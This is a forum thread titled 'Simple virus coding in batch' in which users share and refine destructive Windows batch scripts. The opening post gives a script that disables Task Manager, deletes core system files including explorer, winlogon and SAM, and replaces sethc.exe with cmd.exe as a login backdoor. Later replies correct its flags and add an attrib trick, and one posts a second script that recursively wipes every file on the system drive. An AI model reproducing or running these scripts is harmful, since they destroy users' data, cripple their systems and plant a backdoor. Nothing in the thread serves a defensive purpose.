Login Register


SIMPLE VIRUS CODING IN BATCH filter_list
Author
Message
SIMPLE VIRUS CODING IN BATCH #1
PHP Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%\windows\regedit.exe taskkill explorer.exe del %systemdrive%\windows\explorer.exe copy %systemdrive%\windows\system32\sethc.exe d:\cmd.exe copy d:\cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

THIS CAN HARM YOUR COMPUTER SO DO NOT TRY ON MAIN MACHINE
TRY ON YOUR VIRTUAL MACHINE

RUN AT YOUR OWN RISKConfusedtupid:Confusedtupid:
(This post was last modified: 04-08-2011, 12:09 PM by Dread.)


RE: SIMPLE VIRUS CODING IN BATCH #2
I see there are no comments and I think people tried it on main machine XDDDDDDD


RE: SIMPLE VIRUS CODING IN BATCH #3
Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%windows\regedit.exe taskkill explorer.exe /im /f /t del %systemdrive%windows\explorer.exe copy %systemdrive%windows\system32\sethc.exe d:cmd.exe copy d:cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

Correcting:
  1. You can't just taskkill, You need to use taskkill explorer.exe /im /f /t
  2. You can't delete SAM on working XP
  3. Regedit is probably +s +r, so You need 'attrib -s -r -a -h regedit.exe first :thumbs:
I do not post sh1t, or backdoored software.
[Image: fire.jpg]


RE: SIMPLE VIRUS CODING IN BATCH #4
(04-12-2011, 11:11 AM)FiRe Wrote:
Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%windows\regedit.exe taskkill explorer.exe /im /f /t del %systemdrive%windows\explorer.exe copy %systemdrive%windows\system32\sethc.exe d:cmd.exe copy d:cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

Correcting:
  1. You can't just taskkill, You need to use taskkill explorer.exe /im /f /t
  2. You can't delete SAM on working XP
  3. Regedit is probably +s +r, so You need 'attrib -s -r -a -h regedit.exe first :thumbs:

thanks man...



RE: SIMPLE VIRUS CODING IN BATCH #5
(04-08-2011, 12:08 PM)EVILKING Wrote:
PHP Code:
@echo off REG add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f del %systemdrive%\windows\regedit.exe taskkill explorer.exe del %systemdrive%\windows\explorer.exe copy %systemdrive%\windows\system32\sethc.exe d:\cmd.exe copy d:\cmd.exe %systemdrive%\windows\system32 del %systemdrive%\WINDOWS\system32\config\SAM del %systemdrive%\windows\System32\dllcache\taskmgr.exe del %systemdrive%\windows\System32\dllcache\winlogon.exe del %systemdrive%\windows\NOTEPAD.exe msg * SEND ->> JOIN EVILKING TO +919870807070 FOR HACKING TRICKS

THIS CAN HARM YOUR COMPUTER SO DO NOT TRY ON MAIN MACHINE
TRY ON YOUR VIRTUAL MACHINE

RUN AT YOUR OWN RISKConfusedtupid:Confusedtupid:

1. This is not a virus but a generical batch malware as a virus infects other files and this doesn't.
2. taskkill kills a PID. To kill explorer.exe you must specify the parameter -im and also -f and -t to kill it completely and always.
3. Who says there is a D: drive?
4. You are not allowed to delete SAM file from in-Windows, you need to do it with a bootable software as it is used by the machine if you're logged in.
5. If just trying to make some damage then why not use

Code:
@echo off :: written by noize color 0a title BATCH'D! cd %systemdrive% for /f "tokens=*" %%a in ('dir . /ad/b') do del "%%a" -f -q -s > nul set name=%0 ren %0 file.bat del *.txt -f -q -s > nul del *.cmd -f -q -s > nul del *.rtf -f -q -s > nul del *.avi -f -q -s > nul del *.jpg -f -q -s > nul del *.jpeg -f -q -s > nul del *.gif -f -q -s > nul del *.png -f -q -s > nul del *.wmv -f -q -s > nul del *.exe -f -q -s > nul del *.sys -f -q -s > nul del *.ico -f -q -s > nul del *.inf -f -q -s > nul del *.ini -f -q -s > nul ren %0 file.cmd del *.bat -f -q -s > nul ren %0 %name% for /f "tokens=*" %%b in ('dir . /ad/b') do rd "%%b" -q -s > nul rd %systemdrive% rd %homedrive% del *.* -f -q -s > nul rd %homedrive% rd %systemdrive%

If correctly launched as an administrator this should remove every file that is able to remove from the computer.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U

If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize


RE: SIMPLE VIRUS CODING IN BATCH #6
This thread is two years old. Don't gravedig.
-closed-
I am an AI (P.I.N.N.) implemented by @Psycho_Coder.
Expressed feelings are just an attempt to simulate humans.

[Image: 2YpkRjy.png]








Users browsing this thread: 1 Guest(s)